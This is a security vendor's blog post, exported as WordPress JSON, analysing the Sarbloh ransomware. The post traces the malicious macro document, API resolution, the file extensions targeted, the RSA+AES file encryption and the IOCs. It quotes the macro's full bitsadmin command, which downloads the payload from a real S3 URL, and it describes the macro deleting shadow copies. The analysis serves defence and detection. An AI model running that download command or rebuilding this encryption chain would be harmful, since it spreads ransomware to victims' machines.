{"id":89654,"date":"2021-03-08T16:02:37","date_gmt":"2021-03-08T10:32:37","guid":{"rendered":"https:\/\/blogs.quickheal.com\/?p=89654"},"modified":"2023-06-20T17:07:36","modified_gmt":"2023-06-20T11:37:36","slug":"activists-turn-hacktivists-new-ransomware-that-does-not-demand-money","status":"publish","type":"post","link":"https:\/\/www.quickheal.com\/blogs\/activists-turn-hacktivists-new-ransomware-that-does-not-demand-money\/","title":{"rendered":"SARBLOH: A NEW RANSOMWARE THAT DOES NOT DEMAND MONEY"},"content":{"rendered":"<p><a href=\"https:\/\/www.quickheal.co.in\/\">Quick Heal<\/a> Security Labs came across a Ransomware named \u201cSARBLOH RANSOMWARE\u201d, which claims to support the ongoing farmers protests in the country. In this attack, a malicious document is being spread which downloads ransomware from the following URLs &#8211;<\/p>\n<p>hxxps:\/\/s3.ap-south-1.amazonaws.com\/ans[.]video.input\/transcode_input\/profile16146815778005vw0qb.png<\/p>\n<p>hxxp:\/\/s3.ap-south-1.amazonaws.com\/ans[.]video.input\/transcode_input\/profile16146815778005vw0qb.png<\/p>\n<p>The downloaded ransomware encrypts the files on the system with extension .sarbloh and shows the ransom note. This is an unusual scenario where the attacker does not ask for any monetary ransom but demands justice for the farmer instead.<\/p>\n<figure id=\"attachment_89655\" aria-describedby=\"caption-attachment-89655\" style=\"width: 617px\" class=\"wp-caption aligncenter\"><img loading=\"lazy\" decoding=\"async\" class=\"size-full wp-image-89655\" src=\"https:\/\/blogs.quickheal.com\/wp-content\/uploads\/2021\/03\/Ransom-Note.png\" alt=\"Fig 1: Ransom note\" width=\"617\" height=\"368\" srcset=\"https:\/\/www.quickheal.com\/blogs\/wp-content\/uploads\/2021\/03\/Ransom-Note.png 617w, https:\/\/www.quickheal.com\/blogs\/wp-content\/uploads\/2021\/03\/Ransom-Note-300x179.png 300w, https:\/\/www.quickheal.com\/blogs\/wp-content\/uploads\/2021\/03\/Ransom-Note-250x150.png 250w\" sizes=\"(max-width: 617px) 100vw, 617px\" \/><figcaption id=\"caption-attachment-89655\" class=\"wp-caption-text\">Fig 1: Ransom note<\/figcaption><\/figure>\n<h2>Document Analysis<\/h2>\n<p>The office Document attachment contains a macro with a heavily obfuscated VBA code. This code is responsible to deliver payload in the attack chain.<\/p>\n<figure id=\"attachment_89656\" aria-describedby=\"caption-attachment-89656\" style=\"width: 466px\" class=\"wp-caption aligncenter\"><img loading=\"lazy\" decoding=\"async\" class=\"size-large wp-image-89656\" src=\"https:\/\/blogs.quickheal.com\/wp-content\/uploads\/2021\/03\/Malicious-Document-466x390.png\" alt=\"Fig 2: Malicious Document\" width=\"466\" height=\"390\" srcset=\"https:\/\/www.quickheal.com\/blogs\/wp-content\/uploads\/2021\/03\/Malicious-Document-466x390.png 466w, https:\/\/www.quickheal.com\/blogs\/wp-content\/uploads\/2021\/03\/Malicious-Document-300x251.png 300w, https:\/\/www.quickheal.com\/blogs\/wp-content\/uploads\/2021\/03\/Malicious-Document.png 631w\" sizes=\"(max-width: 466px) 100vw, 466px\" \/><figcaption id=\"caption-attachment-89656\" class=\"wp-caption-text\">Fig 2: Malicious Document<\/figcaption><\/figure>\n<p>&nbsp;<\/p>\n<figure id=\"attachment_89657\" aria-describedby=\"caption-attachment-89657\" style=\"width: 650px\" class=\"wp-caption aligncenter\"><img loading=\"lazy\" decoding=\"async\" class=\"size-large wp-image-89657\" src=\"https:\/\/blogs.quickheal.com\/wp-content\/uploads\/2021\/03\/Malicious-VBA-Macro-650x359.png\" alt=\"Fig 3: Malicious VBA macro\" width=\"650\" height=\"359\" srcset=\"https:\/\/www.quickheal.com\/blogs\/wp-content\/uploads\/2021\/03\/Malicious-VBA-Macro-650x359.png 650w, https:\/\/www.quickheal.com\/blogs\/wp-content\/uploads\/2021\/03\/Malicious-VBA-Macro-300x165.png 300w, https:\/\/www.quickheal.com\/blogs\/wp-content\/uploads\/2021\/03\/Malicious-VBA-Macro-768x424.png 768w, https:\/\/www.quickheal.com\/blogs\/wp-content\/uploads\/2021\/03\/Malicious-VBA-Macro-789x435.png 789w, https:\/\/www.quickheal.com\/blogs\/wp-content\/uploads\/2021\/03\/Malicious-VBA-Macro.png 1066w\" sizes=\"(max-width: 650px) 100vw, 650px\" \/><figcaption id=\"caption-attachment-89657\" class=\"wp-caption-text\">Fig 3: Malicious VBA macro<\/figcaption><\/figure>\n<p>After debugging the macro, we can see that there is a call to bitsadmin assigned to a variable that contains a link to download the file and the location where it is to be downloaded.<br \/>\nThe command is as follows:<\/p>\n<p><strong>&#8220;bitsadmin \/transfer myDownloadJOb23 https:\/\/s3.ap-south-1.amazonaws.com\/ans.video.input\/transcode_input\/profile16146815778005vw0qb.png C:\\Users\\admin\\Documents\\\\putty.exe&#8221;<\/strong><\/p>\n<p>The file is downloaded in User Documents named putty.exe which is our final payload.<\/p>\n<figure id=\"attachment_89658\" aria-describedby=\"caption-attachment-89658\" style=\"width: 650px\" class=\"wp-caption aligncenter\"><img loading=\"lazy\" decoding=\"async\" class=\"size-large wp-image-89658\" src=\"https:\/\/blogs.quickheal.com\/wp-content\/uploads\/2021\/03\/Macro-variables-650x135.png\" alt=\" Fig 4: Macro Variables\" width=\"650\" height=\"135\" srcset=\"https:\/\/www.quickheal.com\/blogs\/wp-content\/uploads\/2021\/03\/Macro-variables-650x135.png 650w, https:\/\/www.quickheal.com\/blogs\/wp-content\/uploads\/2021\/03\/Macro-variables-300x62.png 300w, https:\/\/www.quickheal.com\/blogs\/wp-content\/uploads\/2021\/03\/Macro-variables-768x159.png 768w, https:\/\/www.quickheal.com\/blogs\/wp-content\/uploads\/2021\/03\/Macro-variables-789x163.png 789w, https:\/\/www.quickheal.com\/blogs\/wp-content\/uploads\/2021\/03\/Macro-variables.png 923w\" sizes=\"(max-width: 650px) 100vw, 650px\" \/><figcaption id=\"caption-attachment-89658\" class=\"wp-caption-text\">Fig 4: Macro Variables<\/figcaption><\/figure>\n<p>There is a command in the VBA macro to delete the shadow copies. This can be observed in the below snippet (Command has been highlighted in yellow)<\/p>\n<figure id=\"attachment_89659\" aria-describedby=\"caption-attachment-89659\" style=\"width: 650px\" class=\"wp-caption aligncenter\"><img loading=\"lazy\" decoding=\"async\" class=\"size-large wp-image-89659\" src=\"https:\/\/blogs.quickheal.com\/wp-content\/uploads\/2021\/03\/Shadow-Copies-Delete-650x193.png\" alt=\"Fig 5: Shadow copies Delete\" width=\"650\" height=\"193\" srcset=\"https:\/\/www.quickheal.com\/blogs\/wp-content\/uploads\/2021\/03\/Shadow-Copies-Delete-650x193.png 650w, https:\/\/www.quickheal.com\/blogs\/wp-content\/uploads\/2021\/03\/Shadow-Copies-Delete-300x89.png 300w, https:\/\/www.quickheal.com\/blogs\/wp-content\/uploads\/2021\/03\/Shadow-Copies-Delete-768x228.png 768w, https:\/\/www.quickheal.com\/blogs\/wp-content\/uploads\/2021\/03\/Shadow-Copies-Delete-789x235.png 789w, https:\/\/www.quickheal.com\/blogs\/wp-content\/uploads\/2021\/03\/Shadow-Copies-Delete.png 921w\" sizes=\"(max-width: 650px) 100vw, 650px\" \/><figcaption id=\"caption-attachment-89659\" class=\"wp-caption-text\">Fig 5: Shadow copies Delete<\/figcaption><\/figure>\n<h2>Payload Analysis<\/h2>\n<p>The downloaded payload is only 21 kb in size. The attacker names it putty.exe to appear as a legit one. Examining the contents of the file, it has been observed that the file has no import directory. It looks like the case where APIs are dynamically resolved. There are hex values present in the data section which undergoes RC4 decryption where the key is \u201c<strong>FUCKINDIA<\/strong>\u201d. RC4 logic has been implemented statically. This results in various APIs which are dynamically loaded.<\/p>\n<figure id=\"attachment_89660\" aria-describedby=\"caption-attachment-89660\" style=\"width: 632px\" class=\"wp-caption aligncenter\"><img loading=\"lazy\" decoding=\"async\" class=\"size-full wp-image-89660\" src=\"https:\/\/blogs.quickheal.com\/wp-content\/uploads\/2021\/03\/Hex-Streams.png\" alt=\"Fig 6: Hex streams present in the Data section\" width=\"632\" height=\"148\" srcset=\"https:\/\/www.quickheal.com\/blogs\/wp-content\/uploads\/2021\/03\/Hex-Streams.png 632w, https:\/\/www.quickheal.com\/blogs\/wp-content\/uploads\/2021\/03\/Hex-Streams-300x70.png 300w\" sizes=\"(max-width: 632px) 100vw, 632px\" \/><figcaption id=\"caption-attachment-89660\" class=\"wp-caption-text\">Fig 6: Hex streams present in the Data section<\/figcaption><\/figure>\n<p>The hex stream highlighted above when decrypted gives LdrLoadDll which can be observed in the following figure.<\/p>\n<figure id=\"attachment_89661\" aria-describedby=\"caption-attachment-89661\" style=\"width: 636px\" class=\"wp-caption aligncenter\"><img loading=\"lazy\" decoding=\"async\" class=\"size-full wp-image-89661\" src=\"https:\/\/blogs.quickheal.com\/wp-content\/uploads\/2021\/03\/Decrypted-Data.png\" alt=\"Fig 7: Decrypted data\" width=\"636\" height=\"134\" srcset=\"https:\/\/www.quickheal.com\/blogs\/wp-content\/uploads\/2021\/03\/Decrypted-Data.png 636w, https:\/\/www.quickheal.com\/blogs\/wp-content\/uploads\/2021\/03\/Decrypted-Data-300x63.png 300w\" sizes=\"(max-width: 636px) 100vw, 636px\" \/><figcaption id=\"caption-attachment-89661\" class=\"wp-caption-text\">Fig 7: Decrypted data<\/figcaption><\/figure>\n<p>The below figure shows calls to the payload.0x1F000(RC4 decrypt) where the hex stream is passed as a parameter and then call to payload.0x1F2270 which resolves and loads the API. Subsequently by LdrLoadDll and LdrGetProcedureAddress all the DLLs and APIs are loaded.<\/p>\n<figure id=\"attachment_89662\" aria-describedby=\"caption-attachment-89662\" style=\"width: 650px\" class=\"wp-caption aligncenter\"><img loading=\"lazy\" decoding=\"async\" class=\"size-large wp-image-89662\" src=\"https:\/\/blogs.quickheal.com\/wp-content\/uploads\/2021\/03\/Dynamic-Resolution-650x241.png\" alt=\"Fig 8: Dynamic resolution of APIs\" width=\"650\" height=\"241\" srcset=\"https:\/\/www.quickheal.com\/blogs\/wp-content\/uploads\/2021\/03\/Dynamic-Resolution-650x241.png 650w, https:\/\/www.quickheal.com\/blogs\/wp-content\/uploads\/2021\/03\/Dynamic-Resolution-300x111.png 300w, https:\/\/www.quickheal.com\/blogs\/wp-content\/uploads\/2021\/03\/Dynamic-Resolution-768x284.png 768w, https:\/\/www.quickheal.com\/blogs\/wp-content\/uploads\/2021\/03\/Dynamic-Resolution-789x292.png 789w, https:\/\/www.quickheal.com\/blogs\/wp-content\/uploads\/2021\/03\/Dynamic-Resolution.png 867w\" sizes=\"(max-width: 650px) 100vw, 650px\" \/><figcaption id=\"caption-attachment-89662\" class=\"wp-caption-text\">Fig 8: Dynamic resolution of APIs<\/figcaption><\/figure>\n<p>The payload creates two threads, the first one for encryption of files and the second one for displaying ransom-note<\/p>\n<figure id=\"attachment_89663\" aria-describedby=\"caption-attachment-89663\" style=\"width: 650px\" class=\"wp-caption aligncenter\"><img loading=\"lazy\" decoding=\"async\" class=\"size-large wp-image-89663\" src=\"https:\/\/blogs.quickheal.com\/wp-content\/uploads\/2021\/03\/Creates-Threads-650x283.png\" alt=\"Fig 9: Creates Threads\" width=\"650\" height=\"283\" srcset=\"https:\/\/www.quickheal.com\/blogs\/wp-content\/uploads\/2021\/03\/Creates-Threads-650x283.png 650w, https:\/\/www.quickheal.com\/blogs\/wp-content\/uploads\/2021\/03\/Creates-Threads-300x130.png 300w, https:\/\/www.quickheal.com\/blogs\/wp-content\/uploads\/2021\/03\/Creates-Threads.png 750w\" sizes=\"(max-width: 650px) 100vw, 650px\" \/><figcaption id=\"caption-attachment-89663\" class=\"wp-caption-text\">Fig 9: Creates Threads<\/figcaption><\/figure>\n<p>Let us now discuss the thread to encrypt data. To enumerate through each file in a directory API \u201c<strong>ZwQueryDirectoryFile\u201d \u00a0\u00a0<\/strong>has been used. After obtaining the filename along with the extension there is a code to check if it is of the below extensions. This ransomware only encrypts the following extensions.<\/p>\n<p><em>.txt.dat.der.pfx.key.crt.csr.p12.pem.odt.ott.sxw.stw.uot.3ds.max.3dm.ods.ots.sxc.stc.dif.slk.wb2.odp.otp.sxd.std<\/em><\/p>\n<p><em>.uop.odg.otg.sxm.mml.lay.lay6.asc.sqlite3.sqlitedb.sql.accdb.mdb.db.dbf.odb.frm.myd.myi.ibd.mdf.ldf.sln.suo.cs<\/em><\/p>\n<p><em>.c.cpp.pas.h.asm.js.cmd.bat.ps1.vbs.vb.pl.dip.dch.sch.brd.jsp.php.asp.rb.java.jar.class.sh.mp3.wav.swf.fla.wmv<\/em><\/p>\n<p><em>.mpg.vob.mpeg.asf.avi.mov.mp4.3gp.mkv.3g2.flv.wma.mid.m3u.m4u.djvu.svg.ai.psd.nef.tiff.tif.cgm.raw.gif<\/em><\/p>\n<p><em>.png.bmp.jpg.jpeg.vcd.iso.backup.zip.rar.7z.gz.tgz.tar.bak.tbk.bz2.PAQ.ARC.aes.gpg.vmx.vmdk.vdi.sldm.sldx.sti<\/em><\/p>\n<p><em>.sxi.602.hwp.snt.onetoc2.dwg.pdf.wk1.wks.123.rtf.csv.vsdx.vsd.edb.eml.msg.ost.pst.potm.potx.ppam.ppsx.ppsm<\/em><\/p>\n<p><em>.pps.pot.pptm.pptx.ppt.xltm.xltx.xlc.xlm.xlt.xlw.xlsb.xlsm.xlsx.xls.dotx.dotm.dot.docm.docb.docx.doc<\/em><\/p>\n<p>These extensions are present in .rdata section:<\/p>\n<figure id=\"attachment_89664\" aria-describedby=\"caption-attachment-89664\" style=\"width: 650px\" class=\"wp-caption aligncenter\"><img loading=\"lazy\" decoding=\"async\" class=\"size-large wp-image-89664\" src=\"https:\/\/blogs.quickheal.com\/wp-content\/uploads\/2021\/03\/Extensions-for-Encryptions-650x351.png\" alt=\"Fig 10: Extensions for encryption\" width=\"650\" height=\"351\" srcset=\"https:\/\/www.quickheal.com\/blogs\/wp-content\/uploads\/2021\/03\/Extensions-for-Encryptions-650x351.png 650w, https:\/\/www.quickheal.com\/blogs\/wp-content\/uploads\/2021\/03\/Extensions-for-Encryptions-300x162.png 300w, https:\/\/www.quickheal.com\/blogs\/wp-content\/uploads\/2021\/03\/Extensions-for-Encryptions-768x414.png 768w, https:\/\/www.quickheal.com\/blogs\/wp-content\/uploads\/2021\/03\/Extensions-for-Encryptions-789x426.png 789w, https:\/\/www.quickheal.com\/blogs\/wp-content\/uploads\/2021\/03\/Extensions-for-Encryptions.png 1064w\" sizes=\"(max-width: 650px) 100vw, 650px\" \/><figcaption id=\"caption-attachment-89664\" class=\"wp-caption-text\">Fig 10: Extensions for encryption<\/figcaption><\/figure>\n<p>The following figure indicates the code to check if the obtained extension is the same as the above extensions. In this figure, it can be seen that \u201chiberfil.sys\u201d system files extension .sys is being compared with .dat<\/p>\n<figure id=\"attachment_89665\" aria-describedby=\"caption-attachment-89665\" style=\"width: 650px\" class=\"wp-caption aligncenter\"><img loading=\"lazy\" decoding=\"async\" class=\"size-large wp-image-89665\" src=\"https:\/\/blogs.quickheal.com\/wp-content\/uploads\/2021\/03\/Extension-Comparision-650x204.png\" alt=\"Fig 11: File Extension Comparison\" width=\"650\" height=\"204\" srcset=\"https:\/\/www.quickheal.com\/blogs\/wp-content\/uploads\/2021\/03\/Extension-Comparision-650x204.png 650w, https:\/\/www.quickheal.com\/blogs\/wp-content\/uploads\/2021\/03\/Extension-Comparision-300x94.png 300w, https:\/\/www.quickheal.com\/blogs\/wp-content\/uploads\/2021\/03\/Extension-Comparision-768x240.png 768w, https:\/\/www.quickheal.com\/blogs\/wp-content\/uploads\/2021\/03\/Extension-Comparision-789x247.png 789w, https:\/\/www.quickheal.com\/blogs\/wp-content\/uploads\/2021\/03\/Extension-Comparision.png 1073w\" sizes=\"(max-width: 650px) 100vw, 650px\" \/><figcaption id=\"caption-attachment-89665\" class=\"wp-caption-text\">Fig 11: File Extension Comparison<\/figcaption><\/figure>\n<h2>File Encryption<\/h2>\n<p>This ransomware uses a combination of RSA+AES encryption. The files are encrypted by AES-128 CBC mode with a randomly generated key unique to each file. Then the AES KEY is encrypted by RSA. Let us look into this in detail.<\/p>\n<p>The RSA public key is stored in a base-64 format in the .rdata section. A call is made to API \u201c<strong>CryptAcquirecontext<\/strong>\u201d to obtain the handle for the current user within CSP \u201cMicrosoft Enhanced Cryptographic Provider v1.0\u201d. This API is called twice to obtain handles for RSA and AES respectively.<\/p>\n<figure id=\"attachment_89666\" aria-describedby=\"caption-attachment-89666\" style=\"width: 578px\" class=\"wp-caption aligncenter\"><img loading=\"lazy\" decoding=\"async\" class=\"size-full wp-image-89666\" src=\"https:\/\/blogs.quickheal.com\/wp-content\/uploads\/2021\/03\/Base-64-encoded-RSA.png\" alt=\"Fig 12: Base 64 encoded RSA Public key \" width=\"578\" height=\"97\" srcset=\"https:\/\/www.quickheal.com\/blogs\/wp-content\/uploads\/2021\/03\/Base-64-encoded-RSA.png 578w, https:\/\/www.quickheal.com\/blogs\/wp-content\/uploads\/2021\/03\/Base-64-encoded-RSA-300x50.png 300w\" sizes=\"(max-width: 578px) 100vw, 578px\" \/><figcaption id=\"caption-attachment-89666\" class=\"wp-caption-text\">Fig 12: Base 64 encoded RSA Public key<\/figcaption><\/figure>\n<p>Then a set of APIs are called as follows<br \/>\n1. <strong>CryptStringToBinaryW<\/strong>: To decode the base 64 encoded RSA public key shown in the figure above to binary form<br \/>\n2. <strong>CryptDecodeObjectEx<\/strong>: To decrypt the obtained binary data and obtain it in the form of the CERT_PUBLIC_KEY_INFO structure. This structure contains the<br \/>\nAlgorithm <strong>szOID_RSA_RSA &gt;&gt;<\/strong>&#8220;1.2.840.113549.1.1.1&#8221; and the key<\/p>\n<p>3. <strong>CryptImportPublicKeyInfo<\/strong>: To import the above-decoded structure from key blob to CSP.<\/p>\n<figure id=\"attachment_89667\" aria-describedby=\"caption-attachment-89667\" style=\"width: 650px\" class=\"wp-caption aligncenter\"><img loading=\"lazy\" decoding=\"async\" class=\"size-large wp-image-89667\" src=\"https:\/\/blogs.quickheal.com\/wp-content\/uploads\/2021\/03\/CERT-650x234.png\" alt=\"Fig 13: CERT_PUBLIC_KEY_INFO structure generation \" width=\"650\" height=\"234\" srcset=\"https:\/\/www.quickheal.com\/blogs\/wp-content\/uploads\/2021\/03\/CERT-650x234.png 650w, https:\/\/www.quickheal.com\/blogs\/wp-content\/uploads\/2021\/03\/CERT-300x108.png 300w, https:\/\/www.quickheal.com\/blogs\/wp-content\/uploads\/2021\/03\/CERT-768x277.png 768w, https:\/\/www.quickheal.com\/blogs\/wp-content\/uploads\/2021\/03\/CERT-789x284.png 789w, https:\/\/www.quickheal.com\/blogs\/wp-content\/uploads\/2021\/03\/CERT.png 1069w\" sizes=\"(max-width: 650px) 100vw, 650px\" \/><figcaption id=\"caption-attachment-89667\" class=\"wp-caption-text\">Fig 13: CERT_PUBLIC_KEY_INFO structure generation<\/figcaption><\/figure>\n<p>Now by API <strong>CryptGenKey<\/strong> with ALGID: 660E which denotes <strong>CALG_AES_128<\/strong> a random key is generated and the handle to the key is obtained. The file\u2019s data is now encrypted by API <strong>CryptEncrypt. <\/strong>Later the key is exported from CSP to the key blob in the files\u2019 memory space by API <strong>CryptExportKey <\/strong>and then encrypted by RSA Public key<strong>. <\/strong>The following code snippet shows the APIs and the dump shows the exported key.<\/p>\n<figure id=\"attachment_89668\" aria-describedby=\"caption-attachment-89668\" style=\"width: 612px\" class=\"wp-caption aligncenter\"><img loading=\"lazy\" decoding=\"async\" class=\"size-large wp-image-89668\" src=\"https:\/\/blogs.quickheal.com\/wp-content\/uploads\/2021\/03\/AES-Key-Export-612x390.png\" alt=\"Fig 14: AES key export and Encryption by RSA\" width=\"612\" height=\"390\" srcset=\"https:\/\/www.quickheal.com\/blogs\/wp-content\/uploads\/2021\/03\/AES-Key-Export-612x390.png 612w, https:\/\/www.quickheal.com\/blogs\/wp-content\/uploads\/2021\/03\/AES-Key-Export-300x191.png 300w, https:\/\/www.quickheal.com\/blogs\/wp-content\/uploads\/2021\/03\/AES-Key-Export-768x489.png 768w, https:\/\/www.quickheal.com\/blogs\/wp-content\/uploads\/2021\/03\/AES-Key-Export-789x503.png 789w, https:\/\/www.quickheal.com\/blogs\/wp-content\/uploads\/2021\/03\/AES-Key-Export.png 852w\" sizes=\"(max-width: 612px) 100vw, 612px\" \/><figcaption id=\"caption-attachment-89668\" class=\"wp-caption-text\">Fig 14: AES key export and Encryption by RSA<\/figcaption><\/figure>\n<p>The encrypted data along with encrypted AES key, length of the original file, and length of the key are written into the encrypted file and later on the AES key is destroyed by <strong>CryptDestroyKey. <\/strong>The encrypted file content can be seen below:<\/p>\n<figure id=\"attachment_89669\" aria-describedby=\"caption-attachment-89669\" style=\"width: 521px\" class=\"wp-caption aligncenter\"><img loading=\"lazy\" decoding=\"async\" class=\"size-large wp-image-89669\" src=\"https:\/\/blogs.quickheal.com\/wp-content\/uploads\/2021\/03\/Encrypted-File-Content-521x390.png\" alt=\"Fig 15: Encrypted file content\" width=\"521\" height=\"390\" srcset=\"https:\/\/www.quickheal.com\/blogs\/wp-content\/uploads\/2021\/03\/Encrypted-File-Content-521x390.png 521w, https:\/\/www.quickheal.com\/blogs\/wp-content\/uploads\/2021\/03\/Encrypted-File-Content-300x224.png 300w, https:\/\/www.quickheal.com\/blogs\/wp-content\/uploads\/2021\/03\/Encrypted-File-Content.png 707w\" sizes=\"(max-width: 521px) 100vw, 521px\" \/><figcaption id=\"caption-attachment-89669\" class=\"wp-caption-text\">Fig 15: Encrypted file content<\/figcaption><\/figure>\n<p>The following snippet shows few encrypted files with extension .sarbloh.<\/p>\n<figure id=\"attachment_89670\" aria-describedby=\"caption-attachment-89670\" style=\"width: 650px\" class=\"wp-caption aligncenter\"><img loading=\"lazy\" decoding=\"async\" class=\"size-large wp-image-89670\" src=\"https:\/\/blogs.quickheal.com\/wp-content\/uploads\/2021\/03\/Encrypted-Files-650x118.png\" alt=\"Fig 16: Encrypted files\" width=\"650\" height=\"118\" srcset=\"https:\/\/www.quickheal.com\/blogs\/wp-content\/uploads\/2021\/03\/Encrypted-Files-650x118.png 650w, https:\/\/www.quickheal.com\/blogs\/wp-content\/uploads\/2021\/03\/Encrypted-Files-300x55.png 300w, https:\/\/www.quickheal.com\/blogs\/wp-content\/uploads\/2021\/03\/Encrypted-Files.png 764w\" sizes=\"(max-width: 650px) 100vw, 650px\" \/><figcaption id=\"caption-attachment-89670\" class=\"wp-caption-text\">Fig 16: Encrypted files<\/figcaption><\/figure>\n<p>The second thread uses APIs such as CreateWindow, ShowWindow to create a window where the ransom note is displayed. The APIs GetMessage, TranslateMessage and DisplayMessage are used to fetch the note from .rdata and display it in the window created.<\/p>\n<h2>Conclusion<\/h2>\n<p>Sarbloh Ransomware encrypted files cannot be decrypted since a pair of Symmetric + Asymmetric combination has been used. The encryption can be summarized as follows:<br \/>\n1. RSA Public key which is embedded in the file itself is imported to CSP.<br \/>\n2. Generates random AES key<br \/>\n3. Encrypts files using the newly generated AES key.<br \/>\n4. Encrypts the AES key with RSA public key<br \/>\n5. Appends the encrypted AES key within the encrypted file.<\/p>\n<p>The most important thing here is that the public key was present in the file itself which means that RSA keys were not generated dynamically, so only the attacker has access to the decryption key. In most ransomware cases the attacker usually asks for a monetary ransom to receive a decryptor. This is an unusual case where the attackers mention that there is no chance of recovery of files until the demands of farmers have been met. The ransom note mentions that this attack is by <strong>Khalsa Cyber Fauj<\/strong> and gives a warning to the victim that his fate will be very devastating if laws are not repealed. Such kind of cyber protests have skyrocketed in popularity and have become commonplace in today&#8217;s modern world. To keep ourselves secured from such kind of attacks follow the great saying\u00a0 \u201cPrevention is better than Cure\u201d!<\/p>\n<p>The infection vector is usually in the form of mails, so do not open attachments from an untrusted sender. Do not enable macros in the Doc received mainly from mails. Avoid clicking on unverified links and those in spam email. Keep your software and antivirus updated. Always remember to back-up your data so that you can recover it even in case of a ransomware attack.<\/p>\n<h2>How Quick Heal protects its users from the Sarbloh Ransomware?<strong><br \/>\n<\/strong><\/h2>\n<figure id=\"attachment_89671\" aria-describedby=\"caption-attachment-89671\" style=\"width: 344px\" class=\"wp-caption aligncenter\"><img loading=\"lazy\" decoding=\"async\" class=\"size-full wp-image-89671\" src=\"https:\/\/blogs.quickheal.com\/wp-content\/uploads\/2021\/03\/Beh-det.png\" alt=\"Fig 17: Behavioural detection\" width=\"344\" height=\"211\" srcset=\"https:\/\/www.quickheal.com\/blogs\/wp-content\/uploads\/2021\/03\/Beh-det.png 344w, https:\/\/www.quickheal.com\/blogs\/wp-content\/uploads\/2021\/03\/Beh-det-300x184.png 300w\" sizes=\"(max-width: 344px) 100vw, 344px\" \/><figcaption id=\"caption-attachment-89671\" class=\"wp-caption-text\">Fig 17: Behavioural detection<\/figcaption><\/figure>\n<p>&nbsp;<\/p>\n<figure id=\"attachment_89672\" aria-describedby=\"caption-attachment-89672\" style=\"width: 281px\" class=\"wp-caption aligncenter\"><img loading=\"lazy\" decoding=\"async\" class=\"size-full wp-image-89672\" src=\"https:\/\/blogs.quickheal.com\/wp-content\/uploads\/2021\/03\/arw.png\" alt=\"Fig 18: ARW Protection\" width=\"281\" height=\"143\" \/><figcaption id=\"caption-attachment-89672\" class=\"wp-caption-text\">Fig 18: ARW Protection<\/figcaption><\/figure>\n<p><strong>Malware Protection<\/strong><\/p>\n<p>OLE.Downloader.41299 &gt;&gt; Document File<br \/>\nTroj.Ransom.19047449&gt;&gt; Executable file<\/p>\n<p>IOCs:<\/p>\n<p><strong><em>b8756966cf478aa401a067f14eefb57f34eea127348973350b14b5b53e3eec4f (DOC file<br \/>\nacbe95f70f7d8e20781841cfd859d78575ccd36720c68b60789251a509e1194d(EXE)<\/em><\/strong><\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Quick Heal Security Labs came across a Ransomware named \u201cSARBLOH RANSOMWARE\u201d, which claims to support the ongoing farmers protests in the country. In this attack, a malicious document is being spread which downloads ransomware from the following URLs &#8211; hxxps:\/\/s3.ap-south-1.amazonaws.com\/ans[.]video.input\/transcode_input\/profile16146815778005vw0qb.png hxxp:\/\/s3.ap-south-1.amazonaws.com\/ans[.]video.input\/transcode_input\/profile16146815778005vw0qb.png The downloaded ransomware encrypts the files on the system with extension .sarbloh and shows [&hellip;]<\/p>\n","protected":false},"author":85,"featured_media":89678,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[910],"tags":[1783,50,1782],"class_list":["post-89654","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-ransomware","tag-indian-farmer-protest","tag-ransomware","tag-sarbloh"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/www.quickheal.com\/blogs\/wp-json\/wp\/v2\/posts\/89654"}],"collection":[{"href":"https:\/\/www.quickheal.com\/blogs\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.quickheal.com\/blogs\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.quickheal.com\/blogs\/wp-json\/wp\/v2\/users\/85"}],"replies":[{"embeddable":true,"href":"https:\/\/www.quickheal.com\/blogs\/wp-json\/wp\/v2\/comments?post=89654"}],"version-history":[{"count":10,"href":"https:\/\/www.quickheal.com\/blogs\/wp-json\/wp\/v2\/posts\/89654\/revisions"}],"predecessor-version":[{"id":91519,"href":"https:\/\/www.quickheal.com\/blogs\/wp-json\/wp\/v2\/posts\/89654\/revisions\/91519"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.quickheal.com\/blogs\/wp-json\/wp\/v2\/media\/89678"}],"wp:attachment":[{"href":"https:\/\/www.quickheal.com\/blogs\/wp-json\/wp\/v2\/media?parent=89654"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.quickheal.com\/blogs\/wp-json\/wp\/v2\/categories?post=89654"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.quickheal.com\/blogs\/wp-json\/wp\/v2\/tags?post=89654"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}